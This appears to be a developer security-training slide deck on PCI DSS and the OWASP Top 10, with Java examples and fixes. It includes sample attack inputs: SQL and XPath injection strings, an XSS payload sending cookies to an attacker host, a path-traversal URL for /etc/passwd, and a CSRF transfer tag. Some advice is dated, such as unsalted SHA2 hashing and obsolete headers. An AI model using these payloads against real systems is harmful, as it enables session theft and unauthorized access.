2. Overview
PCI DSS is a security standard that includes
requirements for:
security management,
policies,
procedures,
network architecture,
software design and other critical protective measures
PCI DSS purpose: to help the organizations to
protect customer account data.
This session doesn‟t cover all the security
requirements.
This session covers only what has impact on our
code.
3. OWASP Top 10
OWASP top 10 educates
developers, designers, managers, and organizations
about the most important security risks.
OWASP top 10 provides basic techniques to protect
against the high risk security problems.
4. OWASP Top 10 - Injection
Injection flows, such as SQL, OS, Xpath, and
LDAP injection occur when untrusted data is sent to
an interpreter.
This data can trick the interpreter to execute
unintended commands or accessing unauthorized
data.
Threat Agents: anyone who can send data to the
system.
Exploitability: Easy
Prevalence: Common
Detectability: Average
Impact: Severe
5. OWASP Top 10 - Injection
SQL Injection Example:
String sqlString = "SELECT * FROM users WHERE
fullname = '" + form.getFullName() + "' AND
password = '" + form.getPassword() + "'";
Case 1: full name: Haitham, password:
123pass
Result: SELECT * FROM users WHERE username =
„Haitham' AND password = '123pass'
Case 2: full name: Ala' Ahmad, password:
123pass
Result: SELECT * FROM users WHERE username =
'Ala' Ahmad' AND password = „13pass'
Case 3: full name: blah, password: ' OR '1' =
'1
Result: SELECT * FROM users WHERE username =
'blah' AND password = '' OR '1' = '1'
6. OWASP Top 10 - Injection
XPath Injection Example:
XML file:
<?xml version="1.0" encoding="utf-8"?>
<employees>
<employee id="AS1" firstname="John" salary=“100"/>
<employee id="AS2" firstname=“Adam“ salary=“200"/>
</employees>
XPATH expression: String exp =
“/employees/employee[@id=„”+form.getEID()+”']”
User Input: Emp_ID=‘ or '1'='1
Result: /employees/employee[@id=„‘ or '1'='1']
7. OWASP Top 10 - Injection
Injection Protection:
The preferred option is to use a safe API which provides a
parameterized interface.
String stmt = “select * from emp where id=?”;
PreparedStatement pstmt = con.prepareStatement(stmt);
pstmt.setString(1, empId);
If a parameterized API is not available, escape the special
characters.
String exp = “/employees/employee[@id=„”+
ESAPI.encoder().encodeForXPath(form.getEID())+
”']”
If special characters are not required in the input, then the
white-list validation is also recommended.
9. OWASP Top 10 - Broken Authentication and
Session Management
Functions related to authentication and session
management are often not implemented correctly.
Allow attackers to compromise passwords, keys, or
session tokens.
Threat Agents: anyone who may attempt to steal
accounts from others to impersonate them.
Exploitability: Average
Prevalence: Widespread
Detectability: Average
Impact: Severe
10. OWASP Top 10 - Broken Authentication and
Session Management
Broken Authentication Examples:
Application supports URL re-writing, putting session IDs
in the URL: http://example.com/sale/saleitems;jsessionid=
2P0OC2JSNDLPSKHCJUN2JV
if an authenticated user emailed the above link to his friends to
see the sale, he will give also his session ID.
Application‟s timeout aren‟t set properly. User uses a
public computer to access a site and forgot to logout.
User passwords are not hashed and internal attacker
gains access to the password database.
11. OWASP Top 10 - Broken Authentication and
Session Management
Session Management Examples:
Session Hijacking attacks compromises the session token
by stealing or predicting a valid session ID to gain
unauthorized access.
Session ID can be compromised in different ways:
If application generates predictable session IDs (For example
using sequencer).
Session Sniffing
XSS
Man in the middle attack
Man in the browser attack
12. OWASP Top 10 - Broken Authentication and
Session Management
Session Management Examples:
Application allow session fixation:
13. OWASP Top 10 - Broken Authentication and
Session Management
Authentication Recommendations:
Implement Proper Password Policy:
Minimum length should be enforced by application; shorter than
10 characters considered weak.
Application should enforce password complexity; at least 1
upper case char, at least 1 lowercase char, at least 1 digit and at
least 1 special char.
Changing password should be EASY.
Store Passwords hashed using strong algorithm (SHA2).
Transmit passwords only over TLS.
Require Re-authentication for sensitive requests (This
also protect against XSS and CSRF attacks)
for example: shipping a purchase requests.
14. OWASP Top 10 - Broken Authentication and
Session Management
More Authentication Recommendation:
Application must respond to failed login with generic
message;
“Login Failed; Invalid UserID or password”
Application must prevent Brute-Force Attacks (prevent
attacker to guess a password);
Account must be locked out if more than a preset number of
failed logins are made.
Use a single authentication point.
Password must not be exposed in URL or hidden field.
Password autocomplete should always be disabled.
<INPUT TYPE="password" AUTOCOMPLETE="off">
<form … AUTOCOMPLETE="off">
15. OWASP Top 10 - Broken Authentication and
Session Management
Session Protection Recommendations:
It is recommended to use JEE built-in session management.
request.getSession();
Transmit session IDs only over TLS
Use Cookies for session ID exchange with following attributes:
Secure Attribute; instruct the browser to only send session Id over
HTTPS
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Secure
HTTPOnly Attribute; instruct the browser not to allow malicious
scripts to access the cookies.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;HTTPOnly
Domain and Path attributes; instruct the browser to only send the
cookie to the specified domain and all sub-domains.
jsessionid=2P0OC2JSNDLPSKHCJUN2JV;Domain=docs.foo.co
m;Path=/accounts;
16. OWASP Top 10 - Broken Authentication and
Session Management
More Session Protection Recommendations:
Invalidate the Session ID after any privilege level change for
the associated user.
session.invalidate();
The session ID regeneration is mandatory to prevent session
fixation attacks.
Set Session timeout:
2-5 minutes for high-value applications
15-30 minutes for low-value applications
<web-app ...>
<session-config>
<session-timeout>20</session-timeout>
</session-config>
</web-app>
17. OWASP Top 10 - Broken Authentication and
Session Management
More Session Protection Recommendations:
Force session logout on browser close event using
javascript
window.addEventListener('unload', function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', „Logout.jsp', false);
xhr.send(null);
}, false);
Prevent simultaneous logons.
18. OWASP Top 10 - Broken Authentication and
Session Management
Detection:
User credentials aren‟t stored securely.
Session IDs/Passwords are exposed in the URL.
Session IDs/Passwords are exposed in hidden fields.
Session IDs don‟t timeout.
Session IDs aren‟t properly invalidated during logout.
Session IDs aren‟t rotated after successful login (this is
required to prevent session fixation).
Passwords and session IDs are sent over unencrypted
connections.
No lockout mechanism is implemented.
Browser offers to remember any account credentials.
Password is printed clear in the system logs.
19. OWASP Top 10 - Broken Authentication and
Session Management
References:
https://www.owasp.org/index.php/Authentication_Cheat_S
heet
https://www.owasp.org/index.php/Session_Management_
Cheat_Sheet
20. OWASP Top 10 – Cross-Site Scripting (XSS)
XSS occur whenever an application takes untrusted
data and sends it to browser without proper
validation or escaping.
XSS allows attackers to execute scripts in the
victim‟s browser which can hijack user sessions or
redirect the user to malicious sites.
Threat Agents: anyone who can send untrusted
data to the system.
Exploitability: Average
Prevalence: Very Widespread
Detectability: Easy
Impact: Moderate
22. OWASP Top 10 – Cross-Site Scripting (XSS)
Examples:
Application uses untrusted data in the construction of
HTML response:
(String) page += "<input name='creditcard'
type='TEXT„ value='" + request.getParameter("CC") +
"'>";
The attacker modifies the „CC‟ parameter in his browser to:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This causes the victim‟s session ID to be sent to the
attacker‟s website.
23. OWASP Top 10 – Cross-Site Scripting (XSS)
More XSS protection:
The preferred option is to properly escape all untrusted
data based on the HTML context.
String safe = ESAPI.encoder().encodeForHTML(
request.getParameter( "input" ) );
ESAPI.encoder().encodeForHTMLAttribute(
request.getParameter( "input" ) );
ESAPI.encoder().encodeForJavaScript( request.getParameter(
"input" ) );
Whitelist input validation is also recommended; validation
should validate the length, characters, format, and
business rules.
For rich content, use auto-sanitization libraries like
OWASP AntiSamy.
Use HTTPOnly & Secure attributes
24. OWASP Top 10 – Cross-Site Scripting (XSS)
More XSS Protection:
Implement Content Security Policy; CSP is a browser side
mechanism to create source whitelists for client side
resources.
Content-Security-Policy: default-src:
'self'; script-src: 'self' static.domain.tld
Browser will load all resources only from page‟s origin
Browser will load javascript only from page‟s origin and
static.domain.tld
26. OWASP Top 10 – Insecure Direct Object
References
DOR occurs when a reference is exposed to an
internal object, such as:
Directory, file, database key.
Without proper protection attacker can manipulate these
references to access unauthorized data.
Threat Agents: authorized user who has partial
access to certain functions.
Exploitability: Easy
Prevalence: Common
Detectability: Easy
Impact: Moderate
27. OWASP Top 10 – Insecure Direct Object
References
Examples:
The application uses unverified data in a SQL call that is
accessing account information:
String query = "SELECT * FROM accts WHERE account =
?";
PreparedStatement pstmt =
connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the „acct‟ parameter to send
whatever account number he wants
http://example.com/app/accountInfo?acct=notmyacct
28. OWASP Top 10 – Insecure Direct Object
References
More Examples:
http://www.example.com/GetFile?fileName=image.jpg
What will happen if user manipulated with the above URL
as following:
http://www.example.com/GetFile?fileName=../../etc/passw
d
29. OWASP Top 10 – Insecure Direct Object
References
DOS Prevention:
Use per session indirect object references.
This prevents attacker from directly targeting unauthorized
resources.
Check access
Each use of a direct object reference must include and access
control check.
Check access vs. Indirect object reference
Authorization:
May require an extra DB hit
Exposes actual ID
Indirect object reference
May not require an extra DB hit
Hides actual ID
Requires a bit of extra coding and some extra information
Not very popular
30. OWASP Top 10 – Insecure Direct Object
References
References:
https://www.owasp.org/index.php/Top_10_2007-
Insecure_Direct_Object_Reference
http://cwe.mitre.org/data/definitions/22.html
31. OWASP Top 10 – Security Misconfiguration
Security Misconfiguration occurs when default setup
and configuration is used and no regular updates are
performed on software.
Threat Agents: Anyone who want to compromise
the system.
Exploitability: Easy
Prevalence: Common
Detectability: Easy
Impact: Moderate
32. OWASP Top 10 – Security Misconfiguration
Recommendations:
Secure settings should be defined, implemented and
maintained, as defaults are often insecure.
Perform regular updates on software
33. OWASP Top 10 – Sensitive Data Exposure
Occur when sensitive data (such as credit card) are
not properly protected.
Attackers may steal or modify such weakly protected
data.
Threat Agents: Anyone who access to the sensitive
data. This include data in DB, in transit, and even in
users browser.
Exploitability: Difficult
Prevalence: Uncommon
Detectability: Average
Impact: SEVERE
34. OWASP Top 10 – Sensitive Data Exposure
Examples:
A site doesn‟t use SSL for pages capture sensitive data.
Attacker monitors network traffic and steals the user‟s sensitive
data.
The password database uses unsalted hashes to store
passwords.
Attacker may use rainbow table of pre-calculated hashes to
compromise the plain passwords.
35. OWASP Top 10 – Sensitive Data Exposure
Recommendations:
Determine what is the data you want to protect.
Only store sensitive data that you need
Only use strong cryptographic algorithms; AES, RSASHA-
256
Ensure that random numbers are cryptographically strong
Java.security.SecureRandom
Store the passwords hashed and salted.
Define a key lifecycle.
Store Card numbers encrypted and/or Masked.
Use TLS for all login pages
Use TLS for channels transmitting sensitive data.
Don‟t mix non-TLS and TLS contents
36. OWASP Top 10 – Sensitive Data Exposure
More Recommendations:
Use “Secure” Cookie flag
Keep sensitive data out of the URL
Prevent Caching of sensitive data:
Add HTTP response headers; "Cache-Control: no-cache, no-
store“, "Expires: 0“, and "Pragma: no-cache“
Disable TLS compression
Use Fully Qualified Names in Certificates
Do Not Use Wildcard Certificates
38. OWASP Top 10 – Missing Function Level
Access Control
With this threat, the attacker changes the URL to
access a privileged pages.
Threat Agents: Anyone; authorized user or
anonymous user.
Exploitability: Easy
Prevalence: Common
Detectability: Average
Impact: Moderate
39. OWASP Top 10 – Missing Function Level
Access Control
Examples:
User changes URL from:
http://www.example.com/get_info
To: http://www.example.com/get_Admin_Info
A page provides an action parameter to specify the
function being invoked and user changed the action
value.
40. OWASP Top 10 – Missing Function Level
Access Control
Recommendations:
Ensure the access control matrix is part of the business,
architecture, and design of the application
Ensure that all URLs and business functions are
protected by centralized and effective access control
mechanism.
For example by using a servlet filter the intercepts all incoming
requests to verify if the user is authorized to access the
requested page
Just because your URL is hard to guess, doesn‟t mean it
can‟t be found!
Put your UI files under /WEB-INF
41. OWASP Top 10 – Missing Function Level
Access Control
More Recommendations:
Web applications should access the database through
one or more limited accounts that do not have schema-
modification privileges
42. OWASP Top 10 – Cross-Site Request Forgery
(CSRF)
CSRF: forces logged-in victim to send a request to a
vulnerable web application.
Threat Agents: Anyone.
Exploitability: Average
Prevalence: Common
Detectability: Easy
Impact: Severe
43. OWASP Top 10 – Cross-Site Request Forgery
(CSRF)
Examples:
A hacker posts to a blog containing an image tag (blog
site allows XSS):
<img
src=“http://www.yourbank.com/transfer?to_acc=hacker_acc_nu
m&amount=1000”/>
User logs into yourbank.com (session is active for user)
User visits the blog (without logging-out from
yourbank.com)
Loading the image will send request to the bank site
The bank will transfer the user‟s money to hacker‟s
account
44. OWASP Top 10 – Cross-Site Request Forgery
(CSRF)
Recommendations:
Make sure there are no XSS vulnerabilities in your
application; refer to XSS protection slides.
Do not use GET requests to perform transactional
operations.
For sensitive transactions, re-authenticate.
Add a confirmation page.
Use CAPTCHA
Insert custom random tokens into every form and URL
CSRF token must be different on each request or at least on
each session.
Use CSRFTester tool; CSRFTester give developers the
ability to test their applications for CSRF flaws
45. OWASP Top 10 – Cross-Site Request Forgery
(CSRF)
More Recommendations:
Do not use GET requests
public void doGet(HttpServletRequest
req, HttpServletResponse resp) {
throw new Exception(“Invalid operation”);
}
47. OWASP Top 10 – Using Components with
Known Vulnerabilities
Components, such as libraries, frameworks, and
other software modules, almost always run with full
privileges.
If a vulnerable component is exploited, such an attack can
facilitate serious data loss or server takeover
Threat Agents: Anyone.
Exploitability: Average
Prevalence: Widespread
Detectability: Difficult
Impact: Moderate
48. OWASP Top 10 – Using Components with
Known Vulnerabilities
Examples:
Apache CXF Authentication Bypass – By failing to provide
an identity token, attackers could invoke any web service
with full permission.
Struts Vulnerabilities:
http://www.cvedetails.com/vulnerability-list/vendor_id-
45/product_id-6117/Apache-Struts.html
49. OWASP Top 10 – Using Components with
Known Vulnerabilities
Recommendations:
Identify all components and the versions you are using.
Monitor the security of these components in public
databases; http://www.cvedetails.com/
Where appropriate, consider adding security wrappers
around components to disable secure weak aspects of
the component.
Always update the component to the latest version.
50. OWASP Top 10 – Un-validated Redirects
and Forwards
Web applications usually redirect users to other
pages, and use untrusted data to determine the
destination pages.
Without proper validation, attackers can redirect victims to
phishing sites.
Threat Agents: Anyone who can trick your users.
Exploitability: Average
Prevalence: Uncommon
Detectability: Easy
Impact: Moderate
51. OWASP Top 10 – Un-validated Redirects
and Forwards
Examples:
The application has a page called “redirect.jsp” which
takes a parameter named “url”.
The attacker emails to victim a malicious URL:
http://www.example.com/redirect.jsp?url=evil.com
52. OWASP Top 10 – Un-validated Redirects
and Forwards
Recommendations:
Simply avoid using redirects.
If used to, don‟t involve user parameters to determine the
destination.
If parameters can‟t be avoided, ensure that the supplied
value is valid.
Applications can use ESAPI to override the sendRedirect()
method to make sure all redirect destinations are safe.
53. OWASP Top 10 – Un-validated Redirects
and Forwards
References:
http://owasp-esapi-
java.googlecode.com/svn/trunk_doc/latest/org/owasp/esa
pi/filters/SecurityWrapperResponse.html#sendRedirect(ja
va.lang.String)
54.
55. Improper error handling
Providing too much information to the user when an
error occurs.
Examples:
An error message with too much detail
Stack trace
Failed SQL statement
56. Improper error handling
Recommendation:
Write detailed error information to secure Log.
Configure an exception handler in the web.xml for all un-
handled exceptions
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>
57. ClickJacking
Clickjacking occurs when your site can be
embedded into other sites.
Attacker can lead user to believe they are typing-in the
password to their email, but are instead typing into an
invisible frame hijacks your keystrokes.
To Prevent ClickJacking, you need to prevent your
site from being embedded in iframes.
Use X-FRAME-OPTIONS header:
DENY
SAMEORIGIN
ALLOW-FROM uri
58. Useful HTTP Response Headers
Header Name Description Example
Strict-Transport-
Security
Force every browser request to be sent
over TLS/SSL
Strict-
Transport-
Security: max-
age=8640000;
includeSubDo
mains
X-Frame-
Options
Provides Clickjacking protection X-Frame-
Options: deny
X-XSS-
Protection
This header enables the Cross-site
scripting (XSS) filter built into most recent
web browsers. It's usually enabled by
default anyway, so the role of this header is
to re-enable the filter for this particular
website if it was disabled by the user.
X-XSS-
Protection: 1;
mode=block
X-Content-Type-
Options
The only defined value, "nosniff", prevents
Internet Explorer and Google Chrome from
MIME-sniffing a response away from the
declared content-type.
X-Content-
Type-Options:
nosniff
59. Useful HTTP Response Headers
Header Name Description Example
X-WebKit-CSP CSP prevents a wide range of attacks,
including Cross-site scripting and other
cross-site injections.
X-WebKit-CSP:
default-src 'self'
61. Useful Tools
Code Review Tools:
CodeCrawler
Orizon
O2
FindSecurityBugs: This is a plugin for FindBugs
Application Penetration Testing Tools:
WebScarab
ZAP
Editor's Notes
Threat Agent can be external user, internal user and admins
JDBC driver escape the dangers charactersESAPI is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applicationsEscape For SQL: Codec ORACLE_CODEC = new OracleCodec();String query = "SELECT name FROM users WHERE id = "+ESAPI.encoder().encodeForSQL(ORACLE_CODEC, userId)+ " AND date_created >= '"+ESAPI.encoder().encodeForSQL(ORACLE_CODEC, date)+ "'"; myStmt = conn.createStatement(query);
Session hijacking: - Predictable session key use Build-in Session management to generate random and v. long key - Session Fixation Regenerate session id after login - Sniffing: use Https - Steal the session key (XSS) refer to XSSAll Cookies attributes can be set using IBM websphere Application Server Admin Console.HttpOnly is not supported by safari
XSS and Injection flaws are similar in the concept; XSS for browsers while injection for data sources
DOR can’t be detected by automatic tools; it can be detected by manual code review and manual testing
Showing the same error message with different codes is another type of leaking the information
Secure Log means, only authorized people can see its content